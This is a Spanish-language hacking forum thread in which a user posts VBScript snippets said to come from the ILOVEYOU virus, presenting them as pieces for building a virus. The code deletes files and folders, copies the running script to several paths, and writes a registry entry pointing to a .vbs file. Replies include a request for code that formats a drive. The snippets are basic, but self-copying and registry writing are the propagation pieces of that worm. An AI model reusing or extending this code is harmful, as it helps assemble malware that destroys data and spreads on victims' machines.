Codigos De Vb (jodidos)
Pelkabin:
hey,aki les dejo algunos kodigos "maliciosos" sakados del virus y Love You y variantes.......
Ya pueden krear un virus!!!XD
-----------------------------
----------------Borrar Archivos-----------
Dim fso, f1, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("c:\lokesea.txt")
f1.Delete
( se borrara el archivo lokesea.txt del disco C: )
-------------Borrar Carpeta---------------------
Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.DeleteFolder("C:\Pkn")
( podemos ver el DeleteFolder donde borra la carpeta pkn del disco C: )
------------Copia de si mismo en otro lugares-------------------
Copiarasimismo()
Sub Copiarasimismo()
dim fso, eq, ctr, file, vbscopy
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy("C:\Misdocumentos\pkn.vbs")
c.Copy("C:\pkn1.vbs")
c.Copy("C:\pkn2.vbs")
end sub
(se copiaria en C:\Misdocumentos\pkn.vbs, en C:\pkn1.vbs y C:\pkn2.vbs al ser ejekutAdo)
----------Crear linea en el regristro--------
RegeditCrear()
Sub RegeditCrear()
Dim Rege
Set Rege = WScript.CreateObject("WScript.Shell")
Rege.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Pelkabin","C:\pelkabin.vbs"
end Sub
( se agrega la linea en el regristro de Windows )
--------------------Crear un Archivo--------------------
Dim fso, fldr
Set fso = CreateObject("Scripting.FileSystemObject")
Set fldr = fso.CreateTextFile("C:\kokakola.txt")
(Se crea en c:\kokakola.txt)
--------------Crear un Archivo con información dentro--------------------
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Pkn.txt", True)
'Escribir una línea con un carácter nueva línea.
tf.WriteLine("hola holita!!!")
' Escribir tres caracteres de nueva línea al archivo.
tf.WriteBlankLines(3)
' Escribir una línea.
tf.Write ("Esto es una prueba.")
tf.Close
--------------------------------
Saludos PkN
DesTruçToR:
eso es VBS no? o VB a sekas?
gracias tronko ;)
byebye:
si es vbs. aunq se puede usar en vb
DesTruçToR:
ok gracias tio :)
zIHk:
Alguien sabe el código para formatear una unidad de disco?? Por ejemplo D: ;)
Salud0z.
Navegación
[#] Página Siguiente